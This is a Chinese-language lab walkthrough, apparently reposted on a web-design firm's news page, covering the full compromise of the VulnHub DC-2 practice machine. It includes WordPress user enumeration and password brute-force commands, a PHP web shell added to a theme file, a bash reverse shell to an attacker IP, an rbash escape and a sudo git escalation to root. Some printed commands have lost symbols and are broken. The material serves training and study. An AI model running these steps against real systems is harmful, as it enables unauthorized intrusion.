资讯动态

VulnHub DC-2靶机实战:从WordPress弱口令到Git提权全记录

发布时间:2026/10/20 5:37:06 来源:尧图企业网站定制
昨天刚把 VulnHub 上的 DC-2 打穿趁热记录一下完整思路。这台靶机属于非常典型的 WordPress 站点渗透测试实战难度不算高但考点覆盖得很全信息收集、用户枚举、定向密码字典、后台 getshell、受限 Shell 绕过、sudo 提权一条链路走下来基本上把初级 Web 渗透里最常见的套路复习了一遍。如果你刚入门安全、想把理论落到真实场景里练一练或者备赛想找一台综合性靶机热身DC-2 都是很合适的选择。整个靶机没有那种花里胡哨的 0day全靠信息收集和系统本身配置问题这也是它受欢迎的原因。下面的记录会按照我自己实际操作的顺序来写该放命令的地方放命令该解释原理的地方解释清楚最后再补一批我踩过的坑。所有操作都只在 VulnHub 靶机环境里进行你拿任何系统练手之前也要先确认授权这一点不能含糊。1. 靶机环境与进攻前准备1.1 DC-2 是谁DC 系列靶机是 VulnHub 平台上一套专门给渗透测试练习用的虚拟机镜像DC-2 是其中很经典的一台。它内部跑着 Debian 和 WordPress攻击者的目标就是拿到目标机器的 root 权限并且读取最终的 flag。镜像被刻意做得很脆弱会模拟很多真实站点里常见的配置错误和弱口令习惯所以打起来不会太痛苦但也没简单到一把梭。这台靶机非常适合用来练习“先收集信息再决定攻击路径”的思路。很多新手上来就想一把梭跑漏洞扫描器结果半天拿不到 shell原因就是没有把前期的信息收集做透。DC-2 会强迫你去看页面内容、去枚举用户、去为站点定制字典最后才会给你放行。1.2 网络发现找到目标 IP打开 DC-2 虚拟机以后第一件事是确认它落在哪个网段。我习惯在 VMware 或者 VirtualBox 里把靶机设置为 NAT 模式或者仅主机模式然后 Kali 攻击机也放在同一张虚拟网卡下这样两台机器可以互通。先看自己本机 IP再扫描同网段存活主机ip a假设 Kali 的 IP 是 192.168.56.102/24那么目标多半在 192.168.56.0/24 这个网段里。用 netdiscover 扫一遍 ARP 包很快就能看到 DC-2sudo netdiscover -r 192.168.56.0/24如果环境里虚拟机比较多输出会稍微有点杂乱但经过 DHCP 拿到地址的靶机通常是一个全新的 IP特征就是 MAC 地址对应的厂商信息和你其他设备不同。我这次扫到的是 192.168.56.105后面所有命令都以这个地址为例。1.3 攻击机的最小装备清单Kali 自带的东西够用了不需要额外装太多工具。我把这次会用到的工具列一下nmap端口扫描和版本识别whatweb / curlWeb 指纹探测wpscanWordPress 专项扫描和密码爆破cewl从站点内容生成密码字典hydra登录接口爆破nc反弹 shell 监听python3反弹 shell 里升级 TTY必要时起一个简易 HTTP 服务另外建议开一个新的终端专门做日志记录用tee把命令输出同时存到本地文件里。打靶机的时候记录很重要尤其是后面提权的命令回看的时候能帮你节省很多时间。2. 端口扫描与 Web 指纹识别2.1 全端口扫描别把 SSH 弄丢了拿到目标 IP 后的第一件事不是访问网站而是完整扫端口。很多时候不是没有入口而是扫描命令偷懒导致入口没有出现在你面前。我第一次打 DC-2 用的命令是这样的sudo nmap -sS -sV -p- -T4 192.168.56.105参数拆解一下-sS是 SYN 半开扫描速度快-sV探测服务版本-p-扫描全部 65535 个端口-T4是适中的时间模板不至于太慢也不会因为发包太猛被丢。结果里有意思的是这两个端口80/tcp open http Apache httpd 2.4.10 7744/tcp open ssh OpenSSH 6.7p1 Debian注意 SSH 端口不是默认的 22而是 7744。如果我只偷懒扫nmap -sV 192.168.56.105这种默认扫描很可能看到的是 top 1000 端口列表说不定会漏掉 7744。后面横向移动阶段这个 SSH 端口是有利用价值的所以“全端口扫描”这个习惯值得养成。2.2 Web 服务指纹与首页信息80 端口是 Apache 起的 Web 服务先看响应头再访问页面。curl -I http://192.168.56.105/响应头里能看到X-Powered-By: PHP/5.6.x同时静态资源路径里有/wp-content/基本可以确定是 WordPress。再用 whatweb 确认一下whatweb http://192.168.56.105/浏览器打开以后首页是一个看起来还算正常的 WordPress 博客站标题里有明显的实验说明它就是在告诉你这是一台故意做成有漏洞的靶机。很多信息都写在页面里不要急着扫描。2.3 首个 Flag 与攻击路线图DC-2 的首页上有第一个 flag通常是以文字形式直接显示在页面内容或者 HTML 注释里。我看到的文本大意是Flag 1: Password brute forcing is your only option这等于把下一阶段的核心思路直接告诉了你先想办法找到有效用户名然后做密码爆破。如果没有这个提示很多人可能会先去翻 WordPress 插件漏洞或者碰运气找漏洞但作者希望你把注意力集中在口令安全问题上。这个时候我顺手也扫了一下目录但不是必须的。可以跑一下 gobuster 看看有什么隐藏文件gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html不过 DC-2 的关键信息不是靠目录爆破出来的还是要把更多精力花在 WordPress 用户枚举和口令分析上。3. WordPress 用户枚举与口令爆破3.1 WPScan 用户枚举WordPress 站点常见的用户枚举方式有两种一种是通过?author1这种查询参数重定向到作者页面从而暴露用户名另一种是 WPScan 自动枚举。我直接用 WPScanwpscan --url http://192.168.56.105 --enumerate u注意--enumerate u只枚举用户不需要 API Token 也能跑。新版本 WPScan 如果没配置 WPVulnDB API Token 会提示漏洞库不可用但用户枚举不受影响。扫描结果里出现了三个用户名我记录一下admintomjerry这些用户名后面都要用。拿到的用户名先存到一个users.txt文件里echo admin users.txt echo tom users.txt echo jerry users.txt3.2 Cewl 生成定向字典前端提示说密码爆破是唯一选择那我当然不能直接拿一个几十 GB 的通用字典硬怼。一个更聪明的做法是根据目标站点的内容生成一条“定向字典”这就是 cewl 的用途。cewl 可以从给定的 URL 出发抓取页面文本提取单词并按词频排序输出成字典cewl http://192.168.56.105/ -d 2 -m 5 -w dict.txt参数解释-d 2表示抓取两层深度-m 5表示只保留长度大于等于 5 的单词-w dict.txt是输出文件。生成完以后可以看一眼内容head -20 dict.txt wc -l dict.txt我当时生成的字典大概几百个词里面有不少是拉丁语风格的英文单词。你不要小看这种字典很多站点的弱口令就是“站点内容里某个看起来高级的词改成小写”。DC-2 的密码恰恰就在这些单词里。一个小技巧如果生成出来的字典太短可以多抓几个 URL。比如访问站点里的文章页、分类页再用 cewl 分别抓一遍追加到同一个字典文件里cewl http://192.168.56.105/?page_id2 -d 2 -m 5 -w dict2.txt cat dict2.txt dict.txt sort -u dict.txt -o dict.txt3.3 用 WPScan / Hydra 爆破后台口令爆破 WordPress 后台有两条路Hydra 直接打 wp-login.php或者 WPScan 自带密码爆破。两条路我都试过先说说 Hydra。Hydra 针对表单爆破的写法比较麻烦因为 WordPress 的登录表单包含多个隐藏字段而且错误提示文本也必须写准确。常见写法是这样hydra -L users.txt -P dict.txt 192.168.56.105 http-post-form \ /wp-login.php:log^USER^pwd^PASS^wp-submitLog Intestcookie1:Invalid username or password这里面的接口地址、POST 参数、失败标志三者都必须正确否则会大量误报。我的经验是先用 Burp 或者浏览器看一次真实登录请求把参数顺序和隐藏字段复制出来再填到 Hydra 里。更省事的是直接用 WPScan 爆破它对 WordPress 登录机制处理得更顺手。命令wpscan --url http://192.168.56.105 \ --usernames users.txt \ --passwords dict.txt \ --password-attack wp-login跑完之后得到的有效口令有两组tom / parturientjerry / adipiscing这里注意--password-attack wp-login是打常规登录页。还有xmlrpc模式速度更快但如果站点禁用 XML-RPC 就会失败。如果 wp-login 太慢可以两个都试一下。爆破成功以后先把这两组密码保存好。后面的横向移动要反复用到它们。4. WordPress 后台 GetShell 实操4.1 登录后台与主题文件修改拿到账号密码以后访问http://192.168.56.105/wp-login.php登录进去。我用的是 tom 账号登进去之后看左侧菜单确认有没有“外观”-“主题编辑器”这个入口。WordPress 后台的主题编辑器允许直接修改当前启用主题的 PHP 模板文件。正常情况下这是管理员功能DC-2 里完全没有做权限收敛所以这里就成了 getshell 的跳板。我进入“外观”-“编辑”在右侧模板列表里选择404.php。选择它的原因是404 模板会在访问一个不存在的 URL 时被加载触发条件最简单而且不容易影响正常页面。在文件末尾追加这样一段代码?php if (isset($_GET[cmd])) { echo pre . shell_exec($_GET[cmd]) . /pre; } ?保存后立刻测试。先用curl访问一个必定不存在的路径让 WordPress 加载 404.phpcurl http://192.168.56.105/index.php?p99999cmdid如果站点配置比较直白也可以直接请求主题目录下的 404.phpcurl http://192.168.56.105/wp-content/themes/主题名/404.php?cmdid如果输出里有www-data说明 PHP 代码已经执行成功。到这里后台 getshell 的链条就已经打通了。4.2 从命令执行到反弹 Shell用一句话木马执行命令只能拿到低交互的命令执行很多操作不方便尤其是后面需要交互式提权。所以我选择反弹一个完整 shell。先在攻击机上开监听nc -lnvp 4444然后通过之前的一句话木马执行反弹命令。需要注意 URL 编码问题我用curl的--data-urlencode更稳妥curl -G http://192.168.56.105/wp-content/themes/主题名/404.php \ --data-urlencode cmdbash -c bash -i /dev/tcp/192.168.56.102/4444 01命令里的 192.168.56.102 是攻击机 IP4444 是监听端口。如果网络没问题nc 那边会立刻收到一个www-data的 shellconnect to [192.168.56.102] from (unknown) [192.168.56.105] 43210 bash: no job control in this shell www-datadc-2:/var/www/html$4.3 翻查用户目录与 Flag2拿到 www-data shell 以后先升级成半交互式 TTY方便后续操作python3 -c import pty; pty.spawn(/bin/bash) export TERMxterm然后开始翻目录。靶机里有几个普通用户重点关注/homels -la /home find /home -name flag* -type f 2/dev/null我在/home/tom/目录下看到了 flag2但 www-data 权限读取可能受限。不过没关系刚才爆破出来的 tom 密码还在手里直接用su tom切过去su tom输入密码parturient以后读取cat /home/tom/flag2这个 flag 的内容大致是告诉我们tom 被限制在一个受限 shell 里光靠 tom 这个账号走不到最后得去找 jerry 的密码或者其他路径。5. 受限 Shell 绕过与横向移动5.1 rbash 的限制与绕过思路tom 用户的登录 shell 不是普通的 bash而是rbashrestricted bash。你可以把它理解成“加了紧箍咒的 bash”它会限制你执行cd、修改PATH、执行带有/的命令等。所以在 tom 的 shell 里敲命令会感觉很憋屈想切目录、想运行某些工具都会失败。在攻击机上直接 SSH 登录 tom 是这样ssh tom192.168.56.105 -p 7744输密码进去以后会发现 shell 很怪连cd /tmp都会被拒绝tomdc-2:~$ cd /tmp -rbash: cd: restricted不要慌rbash 不是真正的安全边界。它的限制只是基于当前 shell 启动环境如果能执行一个未受限的 shell例如通过 SSH 指定命令就能绕过这种限制。比如我在攻击机上试过这样ssh tom192.168.56.105 -p 7744 bash --noprofile --norc如果配置允许这会直接跳到普通 bash。不过 DC-2 的考点其实不止这一种解法最简单的方式是切换用户因为 tom 手里有 jerry 的密码而且 jerry 使用的是正常 shell。5.2 切换到 Jerry 账户无论当前是 www-data 还是 tom只要知道密码就可以用su切换。我在 tom 的受限 shell 里直接执行su jerry如果su不在 PATH 里就写全路径/usr/bin/su。输入 jerry 的密码adipiscing成功进入 jerry 的家目录。id输出应该是uid1002(jerry) gid1002(jerry) groups1002(jerry)jerry 的 shell 正常没有 rbash 限制。这时候继续找 flag在/home/jerry/下面能看到下一个 flag 文件cat /home/jerry/flag3这个 flag 的提示大意是要拿到最终权限还需要使用 git 命令。5.3 sudo -l 发现提权入口看到提示之后我第一反应是检查当前用户的 sudo 权限sudo -l输出明确给出了配置User jerry may run the following commands on dc-2: (root) NOPASSWD: /usr/bin/git这句话的意思是jerry 可以在不需要密码的情况下以 root 身份执行/usr/bin/git。到这里提权入口已经非常清晰了。为什么一个允许 root 执行的 git 能让你拿下整个系统因为 git 内部存在“调用交互式分页器”的机制在 root 身份下进入交互式帮助页面就等于给了你自己一个 root shell。这类问题在 sudo 配置不严谨的环境里很常见。6. 利用 git 的 pager 实现 Root 提权6.1 为什么 sudo git 能变成 root shellgit 有很多子命令会在输出过长时调用分页器比如git help会进入less或类似的分页程序。less本身支持执行外部命令的扩展操作最常见的就是按!后输入命令。当你用sudo运行git时整个进程以 root 身份运行它拉起的分页器也是 root 身份。你在 less 里执行/bin/bash得到的 bash 同样跑在 root 权限下。这就完成了越权。还有一个技巧是使用-p参数强制 git 走分页器。如果不加这个参数在某些情况或者某些 git 版本下可能直接输出内容就退出了不进入交互模式所以提权命令我习惯写成sudo git -p help这会进入一个类似 less 的帮助界面。如果没有-p也可以执行sudo git help config6.2 实战提权与最终 Flag在 less 帮助界面里输入!再输入/bin/bash回车。整个过程在原终端里操作less 界面 ! /bin/bash执行完以后会看见 shell 提示符变成 root 权限。确认一下id uid0(root) gid0(root) groups0(root)现在可以读取最终的 flag 了cat /root/root.txt到这里整个 DC-2 的通关链路就走完了。看似最后一步只是一个简单的 git 提权但前面如果不经过信息收集、用户枚举、定向字典、后台 getshell、横向移动根本到不了这一步。7. 实操中的坑与排查建议7.1 扫描与爆破阶段问题一扫描不到 7744 端口。基本因为你没有做全端口扫描。默认 nmap 扫的是 top 1000 端口而 DC-2 的 SSH 端口在 7744不属于默认范畴。改用-p-或者指定-p 1-65535就能看到。问题二WPScan 枚举用户失败。先确认 URL 能正常访问再确认没有--enumerate参数写错。如果目标站点开启了反爬可以加--random-user-agent重试。DC-2 本身没有防护一般都能成功。问题三爆破口令半天不出结果。先检查字典是不是太弱。DC-2 的密码在站点文本里所以用 cewl 抓取站点内容生成字典是最合理的。如果已经用了 cewl 还不出结果大概率是 Hydra 的表单参数不对。我建议改用 WPScan 自带的 brute force它对 WordPress 表单的处理更可靠不容易误报。7.2 GetShell 与反弹 Shell 阶段问题一一句话木马保存后访问 500。通常是 PHP 代码写坏了。插入一句话时要注意不要破坏原有的 PHP 标签如果模板文件本身已经用?php开头你追加的代码直接写在最后一个?之后或者再起一段完整的?php ... ?。保存后先访问一个不存在路径观察是否报错。问题二反弹 shell 连不上。先确认攻击机 IP 是否正确再看靶机能不能访问到你。最简单的方法是先ping 192.168.56.102。如果网络不通检查两台虚拟机是不是同一个网段。还要确认监听端口没被防火墙挡掉nc -lnvp 4444要在反弹命令执行前就打开。问题三拿到 shell 后没有颜色、无法翻页。这是 TTY 不完整导致的。执行python3 -c import pty; pty.spawn(/bin/bash)然后设export TERMxterm。如果还不行可以用stty raw -echo; fg配合操作具体可以按当前终端类型调整。7.3 提权与稳定会话阶段问题一rbash 里无法执行su。如果提示command not found说明 PATH 里没有 su用全路径/usr/bin/su或者/bin/su。另外也可以先通过 SSH 指定命令绕过 rbash再用正常 shell 继续操作。问题二sudo git -p help没有进入交互式分页器。先确认有没有 TTY。如果你是通过反弹 shell 操作而且没有升级 TTYgit 可能不会进入交互分页。解决办法是先在当前 shell 里执行python3 -c import pty; pty.spawn(/bin/bash)再运行提权命令。问题三提权后执行/bin/bash被拒绝。某些受限环境会把 bash 也限制住可以试着用/bin/sh原理是一样的。在 less 里输入!/bin/sh通常也能拿到 root shell。问题四打完之后想复盘但输出记录丢了。我给自己的要求是每个阶段都把命令包在tee里或者手动复制到本地笔记。打靶机不应该只追求结果记录下每一步的判断依据才能在下一次遇到类似目标时更快复制成功。最后再说一个我自己打这台靶机的体会DC-2 最值得学的地方不是某个特定漏洞而是它的“信息流”很完整。页面提示告诉你做密码爆破WPScan 帮你枚举用户cewl 帮你生成字典拿到后台靠主题 getshell再靠已知密码横向移动最后利用 sudo 配置错误提权。每一个步骤都在为下一步铺路中途少看一个 flag 都可能卡住。如果你也卡在哪个环节建议回到上一步重新梳理信息而不是盲目换工具猛打。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑